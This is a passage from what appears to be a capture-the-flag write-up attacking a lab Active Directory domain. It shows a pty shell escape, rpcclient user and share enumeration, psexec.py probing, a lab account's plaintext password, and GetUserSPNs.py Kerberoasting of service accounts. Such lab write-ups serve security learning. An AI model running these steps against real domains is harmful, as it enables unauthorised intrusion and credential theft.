    1.2.840.113556.1.4.1338 - Verify name - Control - MICROSOFT
    1.2.840.113556.1.4.1339 - Domain scope - Control - MICROSOFT
    1.2.840.113556.1.4.1340 - Search options - Control - MICROSOFT
    1.2.840.113556.1.4.1341 - RODC DCPROMO - Control - MICROSOFT
    1.2.840.113556.1.4.1413 - Permissive modify - Control - MICROSOFT
    1.2.840.113556.1.4.1413 - Permissive modify - Control - MICROSOFT
    1.2.840.113556.1.4.1413 - Permissive modify - Control - MICROSOFT
    1.2.840.113556.1.4.1413 - Permissive modify - Control - MICROSOFT
    1.2.840.113556.1.4.1413 - Permissive modify - Control - MICROSOFT
    1.2.840.113556.1.4.1413 - Permissive modify - Control - MICROSOFT
    1.2.840.113556.1.4.1504 - Attribute scoped query - Control - MICROSOFT
    1.2.840.113556.1.4.2064 - Show recycled - Control - MICROSOFT
    1.2.840.113556.1.4.319 - LDAP Simple Paged Results - Control - RFC2696
    1.2.840.113556.1.4.417 - LDAP server show deleted objects - Control - MICROSOFT
    1.2.840.113556.1.4.473 - Sort Request - Control - RFC2891
    1.2.840.113556.1.4.529 - Extended DN - Control - MICROSOFT
    1.2.840.113556.1.4.801 - Security descriptor flags - Control - MICROSOFT
    1.2.840.113556.1.4.801 - Security descriptor flags - Control - MICROSOFT
    1.2.840.113556.1.4.805 - Tree delete - Control - MICROSOFT
    1.2.840.113556.1.4.841 - Directory synchronization - Control - MICROSOFT
    Supported features: 
    1.2.840.113556.1.4.1670 - Active directory V51 - Feature - MICROSOFT
    1.2.840.113556.1.4.1791 - Active directory LDAP Integration - Feature - MICROSOFT
    1.2.840.113556.1.4.1935 - Active directory V60 - Feature - MICROSOFT
    1.2.840.113556.1.4.2080 - Active directory V61 R2 - Feature - MICROSOFT
    1.2.840.113556.1.4.800 - Active directory - Feature - MICROSOFT
    Supported SASL mechanisms: 
    GSS-SPNEGO, GSSAPI, NTLM
    Schema entry: 
    CN=Aggregate,CN=Schema,CN=Configuration,DC=elfu,DC=local
Vendor name: Samba Team (http://samba.org)
Vendor version: 4.3.11-Ubuntu
Other:
    configurationNamingContext: 
    CN=Configuration,DC=elfu,DC=local
    defaultNamingContext: 
    DC=elfu,DC=local
    rootDomainNamingContext: 
    DC=elfu,DC=local
    schemaNamingContext: 
    CN=Schema,CN=Configuration,DC=elfu,DC=local
    isSynchronized: 
    TRUE
    dsServiceName: 
    CN=NTDS Settings,CN=SHARE30,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=elfu,DC=local
    serverName: 
    CN=SHARE30,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=elfu,DC=local
    dnsHostName: 
    share30.elfu.local
    ldapServiceName: 
    elfu.local:share30$@ELFU.LOCAL
    currentTime: 
    20211231061655.0Z
    highestCommittedUSN: 
    4786
    domainFunctionality: 
    3
    forestFunctionality: 
    3
    domainControllerFunctionality: 
    4
    isGlobalCatalogReady: 
    TRUE
The Python grades scripts, to let me correct their records

    import pty;pty.spawn("/bin/bash")

    powershell just quits
    
    cat /opt/grading_system
    #!/usr/bin/python3 -i
    # Created by:
    # Alabaster Snowball
    import signal
    import os
    import grades
    from pandas import *
    from termcolor import colored, cprint
    
    def signal_handler(sig, frame):
    print("You may only type 'exit' to leave the exam!")
    
    signal.signal(signal.SIGINT, signal_handler)
    signal.signal(signal.SIGTSTP, signal_handler)
    
    def main():
    os.umask(7)
    os.system('/usr/bin/clear')
    while True:
        cprint("===================================================", "cyan")
        cprint("=      Elf University Student Grades Portal       =", "cyan")
        cprint("=          (Reverts Everyday 12am EST)            =", "cyan")
        cprint("===================================================", "cyan")
        cprint("1. Print Current Courses/Grades.", "green")
        cprint("e. Exit", "green")
        a = input(": ").lower().strip()
        if a.startswith("1"):
            os.system('/usr/bin/clear')
            user_grades = grades.get_grades()
            formatted_user_grades = [[user_grades[key][0], user_grades[key][1], user_grades[key][2]] for key in user_grades.keys()]
            formatted_user_grades.insert(0,["Shortname","Description","Grade"])
            lines = str(DataFrame(formatted_user_grades)).split('\n')[1:]
            lines.insert(1,"="* len(lines[0]))
            cprint('\n'.join(lines), 'yellow')
            a = input("Press Enter to continue...").lower().strip()
        elif a.startswith("e"):
            os.kill(os.getpid(), 9)
        os.system('/usr/bin/clear')
    
    if __name__ == "__main__":
    main()
    
    grades.__file__
    '/usr/lib/python3.8/grades.py'
    
    #!/usr/bin/env python3
    import getpass
    import os
    import random
    import ast
    
    def get_grades():
    possible_class_titles = [
        ['REIH','Reindeer Husbandry'],
        ['SLPE','Sleigh Propulsion Engineering'],
        ['GEOG','Geometry of Gift-Wrapping'],
        ['CACH','Candy Chemistry'],
        ['WHOL','World Holiday Literature'],
        ['NPAR','North Pole Art Appreciation'],
        ['ELFS','Elf Studies'],
        ['ESCV','Escape vim'],
        ['PRDL','Present Delivery Logistics'],
        ['NNLM','Naughty Nice List Mathematics']
    ]
    possible_class_numbers = ['101','201','301']
    possible_grades = ['F','D','C','B','A']
    possible_modifiers = ['-','+',' ']
    home = f"/home/{getpass.getuser()}"
    gfile = f"{home}/.grades"
    final_grades = {}
    for i in range(random.randrange(4,6)):
        c = random.choice(possible_class_titles)
        while c[0] in final_grades:
            c = random.choice(possible_class_titles)
        final_grades[ c[0] ] = [c[0] + random.choice(possible_class_numbers), c[1], (random.choice(possible_grades) + random.choice(possible_modifiers)).replace("F-",'F ').replace("F+",'F ')]
        # Shortname, Descr, Grade
    if os.path.isfile(gfile):
        try:
            final_grades = ast.literal_eval(open(gfile,'r').read())
        except:
            pass
    else:
        try:
            gf = open(gfile,'w')
            gf.write(repr(final_grades))
            gf.close()
        except:
            pass
    return final_grades
rpcclient 172.17.0.5
rpcclient $> 

    rpcclient $> dir
    command not found: dir
    rpcclient $> whoami
    command not found: whoami
    rpcclient $> ls
    command not found: ls
    rpcclient $> ?
    ---------------		----------------------
            CLUSAPI		
    clusapi_open_cluster		bla
    clusapi_get_cluster_name		bla
    clusapi_get_cluster_version		bla
    clusapi_get_quorum_resource		bla
    clusapi_create_enum		bla
    clusapi_create_enumex		bla
    clusapi_open_resource		bla
    clusapi_online_resource		bla
    clusapi_offline_resource		bla
    clusapi_get_resource_state		bla
    clusapi_get_cluster_version2		bla
    ---------------		----------------------
            WITNESS		
    GetInterfaceList		
           Register		
         UnRegister		
        AsyncNotify		
         RegisterEx		
    ---------------		----------------------
              FSRVP		
    fss_is_path_sup		Check whether a share supports shadow-copy requests
    fss_get_sup_version		Get supported FSRVP version from server
    fss_create_expose		Request shadow-copy creation and exposure
         fss_delete		Request shadow-copy share deletion
    fss_has_shadow_copy		Check for an associated share shadow-copy
    fss_get_mapping		Get shadow-copy share mapping information
    fss_recovery_complete		Flag read-write snapshot as recovery complete, allowing further shadow-copy requests
    ---------------		----------------------
             WINREG		
     winreg_enumkey		Enumerate Keys
    querymultiplevalues		Query multiple values
    querymultiplevalues2		Query multiple values
    ---------------		----------------------
           EVENTLOG		
    eventlog_readlog		Read Eventlog
    eventlog_numrecord		Get number of records
    eventlog_oldestrecord		Get oldest record
    eventlog_reportevent		Report event
    eventlog_reporteventsource		Report event and source
    eventlog_registerevsource		Register event source
    eventlog_backuplog		Backup Eventlog File
    eventlog_loginfo		Get Eventlog Information
    ---------------		----------------------
            DRSUAPI		
       dscracknames		Crack Name
        dsgetdcinfo		Get Domain Controller Info
     dsgetncchanges		Get NC Changes
    dswriteaccountspn		Write Account SPN
    ---------------		----------------------
             NTSVCS		
    ntsvcs_getversion		Query NTSVCS version
    ntsvcs_validatedevinst		Query NTSVCS device instance
    ntsvcs_hwprofflags		Query NTSVCS HW prof flags
    ntsvcs_hwprofinfo		Query NTSVCS HW prof info
    ntsvcs_getdevregprop		Query NTSVCS device registry property
    ntsvcs_getdevlistsize		Query NTSVCS device list size
    ntsvcs_getdevlist		Query NTSVCS device list
    ---------------		----------------------
             WKSSVC		
    wkssvc_wkstagetinfo		Query WKSSVC Workstation Information
    wkssvc_getjoininformation		Query WKSSVC Join Information
    wkssvc_messagebuffersend		Send WKSSVC message
    wkssvc_enumeratecomputernames		Enumerate WKSSVC computer names
    wkssvc_enumerateusers		Enumerate WKSSVC users
    ---------------		----------------------
            TESTING		
             testme		Sample test
    ---------------		----------------------
           SHUTDOWN		
    ---------------		----------------------
           EPMAPPER		
             epmmap		Map a binding
          epmlookup		Lookup bindings
    ---------------		----------------------
               ECHO		
         echoaddone		Add one to a number
           echodata		Echo data
           sinkdata		Sink data
         sourcedata		Source data
    ---------------		----------------------
                DFS		
         dfsversion		Query DFS support
             dfsadd		Add a DFS share
          dfsremove		Remove a DFS share
         dfsgetinfo		Query DFS share info
            dfsenum		Enumerate dfs shares
          dfsenumex		Enumerate dfs shares
    ---------------		----------------------
             SRVSVC		
            srvinfo		Server query info
       netshareenum		Enumerate shares
    netshareenumall		Enumerate all shares
    netsharegetinfo		Get Share Info
    netsharesetinfo		Set Share Info
    netsharesetdfsflags		Set DFS flags
        netfileenum		Enumerate open files
       netremotetod		Fetch remote time of day
    netnamevalidate		Validate sharename
      netfilegetsec		Get File security
         netsessdel		Delete Session
        netsessenum		Enumerate Sessions
        netdiskenum		Enumerate Disks
        netconnenum		Enumerate Connections
        netshareadd		Add share
        netsharedel		Delete share
    ---------------		----------------------
           NETLOGON		
         logonctrl2		Logon Control 2
       getanydcname		Get trusted DC name
          getdcname		Get trusted PDC name
      dsr_getdcname		Get trusted DC name
    dsr_getdcnameex		Get trusted DC name
    dsr_getdcnameex2		Get trusted DC name
    dsr_getsitename		Get sitename
    dsr_getforesttrustinfo		Get Forest Trust Info
          logonctrl		Logon Control
           samlogon		Sam Logon
    change_trust_pw		Change Trust Account Password
        gettrustrid		Get trust rid
    dsr_enumtrustdom		Enumerate trusted domains
    dsenumdomtrusts		Enumerate all trusted domains in an AD forest
    deregisterdnsrecords		Deregister DNS records
    netrenumtrusteddomains		Enumerate trusted domains
    netrenumtrusteddomainsex		Enumerate trusted domains
    getdcsitecoverage		Get the Site-Coverage from a DC
       capabilities		Return Capabilities
    ---------------		----------------------
    IRemoteWinspool		
    winspool_AsyncOpenPrinter		Open printer handle
    winspool_AsyncCorePrinterDriverInstalled		Query Core Printer Driver Installed
    ---------------		----------------------
            SPOOLSS		
          adddriver		Add a print driver
         addprinter		Add a printer
          deldriver		Delete a printer driver
        deldriverex		Delete a printer driver with files
           enumdata		Enumerate printer data
         enumdataex		Enumerate printer data for a key
            enumkey		Enumerate printer keys
           enumjobs		Enumerate print jobs
             getjob		Get print job
             setjob		Set print job
          enumports		Enumerate printer ports
        enumdrivers		Enumerate installed printer drivers
       enumprinters		Enumerate printers
            getdata		Get print driver data
          getdataex		Get printer driver data with keyname
          getdriver		Get print driver information
       getdriverdir		Get print driver upload directory
    getdriverpackagepath		Get print driver package download directory
         getprinter		Get printer info
        openprinter		Open printer handle
     openprinter_ex		Open printer handle
          setdriver		Set printer driver
    getprintprocdir		Get print processor directory
            addform		Add form
            setform		Set form
            getform		Get form
         deleteform		Delete form
          enumforms		Enumerate forms
         setprinter		Set printer comment
     setprintername		Set printername
     setprinterdata		Set REG_SZ printer data
           rffpcnex		Rffpcnex test
         printercmp		Printer comparison test
          enumprocs		Enumerate Print Processors
    enumprocdatatypes		Enumerate Print Processor Data Types
       enummonitors		Enumerate Print Monitors
    createprinteric		Create Printer IC
    playgdiscriptonprinteric		Create Printer IC
    ---------------		----------------------
               SAMR		
          queryuser		Query user info
         querygroup		Query group info
    queryusergroups		Query user groups
    queryuseraliases		Query user aliases
      querygroupmem		Query group membership
      queryaliasmem		Query alias membership
     queryaliasinfo		Query alias info
        deletealias		Delete an alias
      querydispinfo		Query display info
     querydispinfo2		Query display info
     querydispinfo3		Query display info
       querydominfo		Query domain info
       enumdomusers		Enumerate domain users
      enumdomgroups		Enumerate domain groups
      enumalsgroups		Enumerate alias groups
        enumdomains		Enumerate domains
      createdomuser		Create domain user
     createdomgroup		Create domain group
     createdomalias		Create domain alias
     samlookupnames		Look up names
      samlookuprids		Look up names
     deletedomgroup		Delete domain group
      deletedomuser		Delete domain user
     samquerysecobj		Query SAMR security object
       getdompwinfo		Retrieve domain password info
    getusrdompwinfo		Retrieve user domain password info
       lookupdomain		Lookup Domain Name
          chgpasswd		Change user password
         chgpasswd2		Change user password
         chgpasswd3		Change user password
     getdispinfoidx		Get Display Information Index
        setuserinfo		Set user info
       setuserinfo2		Set user info2
    ---------------		----------------------
          LSARPC-DS		
      dsroledominfo		Get Primary Domain Information
    ---------------		----------------------
             LSARPC		
           lsaquery		Query info policy
         lookupsids		Convert SIDs to names
        lookupsids3		Convert SIDs to names
    lookupsids_level		Convert SIDs to names
        lookupnames		Convert names to SIDs
       lookupnames4		Convert names to SIDs
    lookupnames_level		Convert names to SIDs
          enumtrust		Enumerate trusted domains
          enumprivs		Enumerate privileges
        getdispname		Get the privilege name
         lsaenumsid		Enumerate the LSA SIDS
    lsacreateaccount		Create a new lsa account
    lsaenumprivsaccount		Enumerate the privileges of an SID
    lsaenumacctrights		Enumerate the rights of an SID
         lsaaddpriv		Assign a privilege to a SID
         lsadelpriv		Revoke a privilege from a SID
    lsaaddacctrights		Add rights to an account
    lsaremoveacctrights		Remove rights from an account
    lsalookupprivvalue		Get a privilege value given its name
     lsaquerysecobj		Query LSA security object
    lsaquerytrustdominfo		Query LSA trusted domains info (given a SID)
    lsaquerytrustdominfobyname		Query LSA trusted domains info (given a name), only works for Windows > 2k
    lsaquerytrustdominfobysid		Query LSA trusted domains info (given a SID)
    lsasettrustdominfo		Set LSA trusted domain info
        getusername		Get username
       createsecret		Create Secret
       deletesecret		Delete Secret
        querysecret		Query Secret
          setsecret		Set Secret
    retrieveprivatedata		Retrieve Private Data
    storeprivatedata		Store Private Data
     createtrustdom		Create Trusted Domain
     deletetrustdom		Delete Trusted Domain
    ---------------		----------------------
    GENERAL OPTIONS		
               help		Get help on commands
                  ?		Get help on commands
         debuglevel		Set debug level
              debug		Set debug level
               list		List available commands on 
               exit		Exit program
               quit		Exit program
               sign		Force RPC pipe connections to be signed
               seal		Force RPC pipe connections to be sealed
             packet		Force RPC pipe connections with packet authentication level
           schannel		Force RPC pipe connections to be sealed with 'schannel'. Assumes valid machine account to this domain controller.
       schannelsign		Force RPC pipe connections to be signed (not sealed) with 'schannel'.  Assumes valid machine account to this domain controller.
            timeout		Set timeout (in milliseconds) for RPC operations
          transport		Choose ncacn transport for RPC operations
               none		Force RPC pipe connections to have no special properties
    
    rpcclient $> netshareenumall
    netname: netlogon
        remark:	
        path:	C:\var\lib\samba\sysvol\elfu.local\scripts
        password:	
    netname: sysvol
        remark:	
        path:	C:\var\lib\samba\sysvol
        password:	
    netname: elfu_svc_shr
        remark:	elfu_svc_shr
        path:	C:\elfu_svc_shr
        password:	
    netname: research_dep
        remark:	research_dep
        path:	C:\research_dep
        password:	
    netname: IPC$
        remark:	IPC Service (Samba 4.3.11-Ubuntu)
        path:	C:\tmp
        password:
    
    rpcclient $> enumdomusers
    user:[Administrator] rid:[0x1f4]
    user:[Guest] rid:[0x1f5]
    user:[krbtgt] rid:[0x1f6]
    user:[admin] rid:[0x3e8]
    user:[elfu_admin] rid:[0x450]
    user:[elfu_svc] rid:[0x451]
    user:[remote_elf] rid:[0x452]
    user:[ulyssesross] rid:[0x455]
    user:[bobolson] rid:[0x457]
    user:[raulpenrod] rid:[0x459]
    user:[charleneneptune] rid:[0x45b]
    user:[xavierzebra] rid:[0x45d]
    user:[victoriacharles] rid:[0x45f]
    user:[paulyankee] rid:[0x461]
    user:[ulyssestrebek] rid:[0x463]
    user:[lukeyankee] rid:[0x465]
    user:[paulhankerson] rid:[0x467]
    user:[quincyjones] rid:[0x469]
    user:[maryhankerson] rid:[0x46b]
    user:[ulyssespenrod] rid:[0x46d]
    user:[charlenesmith] rid:[0x46f]
    user:[ulysseslovering] rid:[0x471]
    user:[hankqueior] rid:[0x473]
    user:[ednamoss] rid:[0x475]
    user:[hankgeorge] rid:[0x477]
    user:[yolandayankee] rid:[0x479]
    user:[wandaneptune] rid:[0x47b]
    user:[forrestvictoria] rid:[0x47d]
    user:[jorgetrebek] rid:[0x47f]
    user:[zeldaellis] rid:[0x481]
    user:[samanthazebra] rid:[0x483]
    user:[noahgeorge] rid:[0x485]
    user:[quincycharles] rid:[0x487]
    user:[paulvictoria] rid:[0x489]
    user:[xavierirving] rid:[0x48b]
    user:[wandayankee] rid:[0x48d]
    user:[yolandaabbott] rid:[0x48f]
    user:[victoriageorge] rid:[0x491]
    user:[forrestcharles] rid:[0x493]
    user:[opheliaolson] rid:[0x495]
    user:[xavierdruidia] rid:[0x497]
    user:[gildapenrod] rid:[0x499]
    user:[opheliakilleen] rid:[0x49b]
    user:[bobross] rid:[0x49d]
    user:[ingridbinford] rid:[0x49f]
    user:[yolandabinford] rid:[0x4a1]
    user:[trevorbinford] rid:[0x4a3]
    user:[samanthatrebek] rid:[0x4a5]
    user:[dwanekilleen] rid:[0x4a7]
    user:[alicefox] rid:[0x4a9]
    user:[marydruidia] rid:[0x4ab]
    user:[kimkilleen] rid:[0x4ad]
    user:[lukegeorge] rid:[0x4af]
    user:[xavierolson] rid:[0x4b1]
    user:[maryvictoria] rid:[0x4b3]
    user:[opheliazebra] rid:[0x4b5]
    user:[quincytrebek] rid:[0x4b7]
    user:[bobdruidia] rid:[0x4b9]
    user:[opheliasmith] rid:[0x4bb]
    user:[zeldacharles] rid:[0x4bd]
    user:[gildairving] rid:[0x4bf]
    user:[quincyyankee] rid:[0x4c1]
    user:[noahfox] rid:[0x4c3]
    user:[bobsmith] rid:[0x4c5]
    user:[forrestyankee] rid:[0x4c7]
    user:[gildajones] rid:[0x4c9]
    user:[hankhankerson] rid:[0x4cb]
    user:[hankjones] rid:[0x4cd]
    user:[zeldaross] rid:[0x4cf]
    user:[hankbinford] rid:[0x4d1]
    user:[lukefox] rid:[0x4d3]
    user:[trevorellis] rid:[0x4d5]
    user:[xavierabbott] rid:[0x4d7]
    user:[jorgesmith] rid:[0x4d9]
    user:[opheliajones] rid:[0x4db]
    user:[hankvictoria] rid:[0x4dd]
    user:[ulyssesirving] rid:[0x4df]
    user:[hankabbott] rid:[0x4e1]
    user:[bobulrich] rid:[0x4e3]
    user:[kimxavier] rid:[0x4e5]
    user:[quincydruidia] rid:[0x4e7]
    user:[alicehankerson] rid:[0x4e9]
    user:[opheliaellis] rid:[0x4eb]
    user:[quincylovering] rid:[0x4ed]
    user:[paulxavier] rid:[0x4ef]
    user:[victoriawashington] rid:[0x4f1]
    user:[bobbinford] rid:[0x4f3]
    user:[zeldairving] rid:[0x4f5]
    user:[jorgepenrod] rid:[0x4f7]
    user:[samanthairving] rid:[0x4f9]
    user:[ulyssesgeorge] rid:[0x4fb]
    user:[ednabinford] rid:[0x4fd]
    user:[jorgehankerson] rid:[0x4ff]
    user:[marywashington] rid:[0x501]
    user:[raulsmith] rid:[0x503]
    user:[quincygeorge] rid:[0x505]
    user:[victoriavictoria] rid:[0x507]
    user:[ingridzebra] rid:[0x509]
    user:[quincyellis] rid:[0x50b]
    user:[opheliayankee] rid:[0x50d]
    user:[noahyankee] rid:[0x50f]
    user:[bobirving] rid:[0x511]
    user:[victoriaqueior] rid:[0x513]
    user:[charleneellis] rid:[0x515]
    user:[samanthaneptune] rid:[0x517]
    user:[ednajones] rid:[0x519]
    user:[jorgebinford] rid:[0x51b]
    user:[wandafox] rid:[0x51d]
    user:[alicejones] rid:[0x51f]
    user:[luketrebek] rid:[0x521]
    user:[samanthaolson] rid:[0x523]
    user:[forrestneptune] rid:[0x525]
    user:[ingridxavier] rid:[0x527]
    user:[maryyankee] rid:[0x529]
    user:[lukeirving] rid:[0x52b]
    user:[bobmoss] rid:[0x52d]
    user:[marykilleen] rid:[0x52f]
    user:[kimneptune] rid:[0x531]
    user:[yolandaneptune] rid:[0x533]
    user:[yolandapenrod] rid:[0x535]
    user:[marytrebek] rid:[0x537]
    user:[alicewashington] rid:[0x539]
    user:[marysmith] rid:[0x53b]
    user:[trevorkilleen] rid:[0x53d]
    user:[ingridneptune] rid:[0x53f]
    user:[charlenexavier] rid:[0x541]
    user:[samanthahankerson] rid:[0x543]
    user:[paulross] rid:[0x545]
    user:[victoriadruidia] rid:[0x547]
    user:[ednaulrich] rid:[0x549]
    user:[opheliamoss] rid:[0x54b]
    user:[noahulrich] rid:[0x54d]
    user:[raulgeorge] rid:[0x54f]
    user:[maryqueior] rid:[0x551]
    user:[quincyfox] rid:[0x553]
    user:[dwaneyankee] rid:[0x555]
    user:[zeldaabbott] rid:[0x557]
    user:[alicedruidia] rid:[0x559]
    user:[bobxavier] rid:[0x55b]
    user:[zeldalovering] rid:[0x55d]
    user:[hankzebra] rid:[0x55f]
    user:[rauldruidia] rid:[0x561]
    user:[quincywashington] rid:[0x563]
    user:[ednalovering] rid:[0x565]
    user:[wandabinford] rid:[0x567]
    user:[zeldabinford] rid:[0x569]
    user:[paulirving] rid:[0x56b]
    user:[samanthadruidia] rid:[0x56d]
    user:[rauljones] rid:[0x56f]
    user:[dwanewashington] rid:[0x571]
    user:[gildalovering] rid:[0x573]
    user:[dwaneneptune] rid:[0x575]
    user:[wandaqueior] rid:[0x577]
    user:[ingridqueior] rid:[0x579]
    user:[wandaellis] rid:[0x57b]
    user:[hankirving] rid:[0x57d]
    user:[kimabbott] rid:[0x57f]
    user:[wandageorge] rid:[0x581]
    user:[victoriazebra] rid:[0x583]
    user:[wandawashington] rid:[0x585]
    user:[ulyssesfox] rid:[0x587]
    user:[charlenecharles] rid:[0x589]
    user:[victoriaolson] rid:[0x58b]
    user:[jorgejones] rid:[0x58d]
    user:[bobtrebek] rid:[0x58f]
    user:[noahdruidia] rid:[0x591]
    user:[lukeulrich] rid:[0x593]
    user:[paulsmith] rid:[0x595]
    user:[dwaneross] rid:[0x597]
    user:[paulwashington] rid:[0x599]
    user:[ednadruidia] rid:[0x59b]
    user:[trevorpenrod] rid:[0x59d]
    user:[quincyabbott] rid:[0x59f]
    user:[paulolson] rid:[0x5a1]
    user:[alicebinford] rid:[0x5a3]
    user:[kimhankerson] rid:[0x5a5]
    user:[dwanehankerson] rid:[0x5a7]
    user:[charlenejones] rid:[0x5a9]
    user:[yolandakilleen] rid:[0x5ab]
    user:[victorianeptune] rid:[0x5ad]
    user:[noahvictoria] rid:[0x5af]
    user:[opheliahankerson] rid:[0x5b1]
    user:[gildakilleen] rid:[0x5b3]
    user:[aliceolson] rid:[0x5b5]
    user:[trevorolson] rid:[0x5b7]
    user:[gildacharles] rid:[0x5b9]
    user:[jorgefox] rid:[0x5bb]
    user:[kimwashington] rid:[0x5bd]
    user:[lukekilleen] rid:[0x5bf]
    user:[victoriaabbott] rid:[0x5c1]
    user:[ingridgeorge] rid:[0x5c3]
    user:[raulyankee] rid:[0x5c5]
    user:[dwanemoss] rid:[0x5c7]
    user:[zeldakilleen] rid:[0x5c9]
    user:[ingridvictoria] rid:[0x5cb]
    user:[gildaabbott] rid:[0x5cd]
    user:[ulyssesbinford] rid:[0x5cf]
    user:[noaholson] rid:[0x5d1]
    user:[quincyxavier] rid:[0x5d3]
    user:[jorgeolson] rid:[0x5d5]
    user:[ulyssesxavier] rid:[0x5d7]
    user:[alicequeior] rid:[0x5d9]
    user:[ednaabbott] rid:[0x5db]
    user:[lukedruidia] rid:[0x5dd]
    user:[opheliatrebek] rid:[0x5df]
    user:[ingridfox] rid:[0x5e1]
    user:[ulyssesolson] rid:[0x5e3]
    user:[raultrebek] rid:[0x5e5]
    user:[test] rid:[0x60f]
    user:[qcljgnpsjl] rid:[0x610]
    user:[uwdgunvfln] rid:[0x611]
    user:[wjwnojisdx] rid:[0x612]
    user:[xdtqjfinpd] rid:[0x613]
    user:[aaigvfsuza] rid:[0x614]
    user:[cojbecjcwu] rid:[0x615]
    user:[jjwxlrkpts] rid:[0x616]
    user:[ijshkhssxd] rid:[0x617]
    user:[dbevvcejny] rid:[0x618]
    user:[yxjpnjkzii] rid:[0x619]
    user:[qcrimzlsnu] rid:[0x61a]
    user:[gqognrrjri] rid:[0x61b]
    user:[gheuggozuu] rid:[0x61c]
    user:[dsqzwuexzb] rid:[0x61d]
    user:[rflkkildwi] rid:[0x61e]
    user:[nvbltrzizx] rid:[0x61f]
    user:[qzqxqlqbxa] rid:[0x620]
    user:[pxcxxicodh] rid:[0x621]
    user:[xvjxawxtce] rid:[0x622]
    user:[psmifmgudo] rid:[0x623]
    user:[bngiyfhmzs] rid:[0x624]
    user:[tlcrdddprf] rid:[0x625]
    user:[ckezrjqxua] rid:[0x627]
    user:[cadoclsztx] rid:[0x628]
    user:[dwsqppodce] rid:[0x629]
    user:[ntmzoitzsy] rid:[0x62a]
    user:[vawbodlypr] rid:[0x62b]
    user:[jylmhafhzc] rid:[0x62c]
    user:[vokguioyhg] rid:[0x62d]
    user:[jrelqrltit] rid:[0x62e]
    user:[jqrmefvsoo] rid:[0x62f]
    user:[iqytuvjazj] rid:[0x630]
    user:[vtprbgqurk] rid:[0x631]
    user:[curbvknvsf] rid:[0x632]
    user:[gzldmywtqp] rid:[0x633]
    user:[zsfhffdmdg] rid:[0x634]
    user:[jnjebpgcdp] rid:[0x635]
    user:[bgcrcglzcx] rid:[0x636]
    user:[myafgxotah] rid:[0x637]
    user:[sicsciofge] rid:[0x638]
    user:[fbsjgeyymg] rid:[0x639]
    user:[rhkwapqkvy] rid:[0x63a]
    user:[pgsskmkkhb] rid:[0x63b]
    user:[drkxpeefnz] rid:[0x63c]
    user:[wwdjcvtakz] rid:[0x63d]
    user:[agmzrsrszq] rid:[0x63e]
    user:[zhbqapbuql] rid:[0x63f]
    user:[juinvmiyvi] rid:[0x640]
    user:[gfqphuqbgi] rid:[0x641]
    user:[lyrycoitvj] rid:[0x642]
    user:[ibtsycjdtz] rid:[0x643]
    user:[quyvsksmtf] rid:[0x644]
    user:[ftdefieavg] rid:[0x645]
    user:[mmwamkowph] rid:[0x646]
    user:[wvqkwapitx] rid:[0x647]
    user:[kdhwidjrnf] rid:[0x648]
    user:[hlwkoobqjl] rid:[0x649]
    user:[oxudyxavlg] rid:[0x64a]
    user:[vtdyjmcexj] rid:[0x64b]
    user:[xrijfictlx] rid:[0x64c]
    user:[okaizwuncm] rid:[0x64d]
    user:[tfoezhsibn] rid:[0x64e]
    user:[iuwuvckfvi] rid:[0x64f]
    user:[detnfajrkq] rid:[0x650]
    user:[vvdafpikok] rid:[0x651]
    user:[yjapzwoqqb] rid:[0x652]
    user:[muxmiimshw] rid:[0x653]
    user:[cznwgmgfbw] rid:[0x654]
    user:[qlpfensbou] rid:[0x655]
    user:[gxpckgrpwa] rid:[0x656]
    user:[uvpynpfdne] rid:[0x657]
    user:[qabaypaoes] rid:[0x658]
    user:[sapdfhwxbr] rid:[0x659]
    user:[ftcngoczhx] rid:[0x65a]
    user:[cvlerxwoso] rid:[0x65b]
    user:[sinikbbvuf] rid:[0x65c]
    user:[fnuimrmlhx] rid:[0x65d]
    user:[szreapaybk] rid:[0x65e]
    user:[kvaqdwnawi] rid:[0x65f]
    user:[isoshsbork] rid:[0x660]
    user:[ucxzgxwlqh] rid:[0x661]
    user:[ftbbjampsi] rid:[0x662]
    user:[twemnvixoz] rid:[0x663]
    user:[fzpabmhyry] rid:[0x664]
Results of trying to access the SMB drives, which at least told me which drives exist.

psexec.py 172.17.0.5
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Requesting shares on 172.17.0.5.....
[-] share 'netlogon' is not writable.
[-] share 'sysvol' is not writable.
[-] share 'elfu_svc_shr' is not writable.
[-] share 'research_dep' is not writable.

psexec.py 172.17.0.4
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Requesting shares on 172.17.0.3.....
[-] share 'ElfUFiles' is not writable.

psexec.py 172.17.0.3
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Requesting shares on 172.17.0.3.....
[-] share 'ElfUFiles' is not writable.
A check to see if the http servers had any vulnerabilities (the version currently doesn't), followed by curl http://172.17.0.1 to each which suggests they just redirect to the register server.
An attempt to use PoSh (PowerShell for Unix) As soon as I typed anything, this failed with System.DivideByZeroException: Attempted to divide by zero. Eventually I found that could be fixed using stty columns 185 rows 50
Attempts to connect to the DC

    $password = ConvertTo-SecureString "Lkvxyyxjy#" -AsPlainText -Force
    $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ("grades.elfu.local\\zflykmuelb", $password)
    Enter-PSSession -ComputerName share30.elfu.local -Credential $creds -Authentication Negotiate
which just failed with the unhelpful MI_RESULT_FAILED For more information, see the about_Remote_Troubleshooting Help topic., even with -Verbose.



Privilege Escalation

I tried running


GetUserSPNs.py -dc-ip 172.17.0.5 share30.elfu.local/zflykmuelb:'Lkvxyyxjy#' 
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[-] list index out of range
with elfu.local and elfu as the domain names, but they all received the same error. Using the -debug option didn't provide any light on the issue, so that threw me off for a long time (and caused many of the rabbit holes noted above), but eventually, I tried removing the DC:

GetUserSPNs.py elfu.local/zflykmuelb:'Lkvxyyxjy#' -request
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[+] Impacket Library Installation Path: /usr/local/lib/python3.8/dist-packages/impacket
[+] Connecting to elfu.local, port 389, SSL False
[+] Total of records returned 4
ServicePrincipalName                 Name      MemberOf  PasswordLastSet             LastLogon                   Delegation 
-----------------------------------  --------  --------  --------------------------  --------------------------  ----------
ldap/elfu_svc/elfu                   elfu_svc            2021-10-29 19:25:04.305279  2022-01-01 03:12:40.280599             
ldap/elfu_svc/elfu.local             elfu_svc            2021-10-29 19:25:04.305279  2022-01-01 03:12:40.280599             
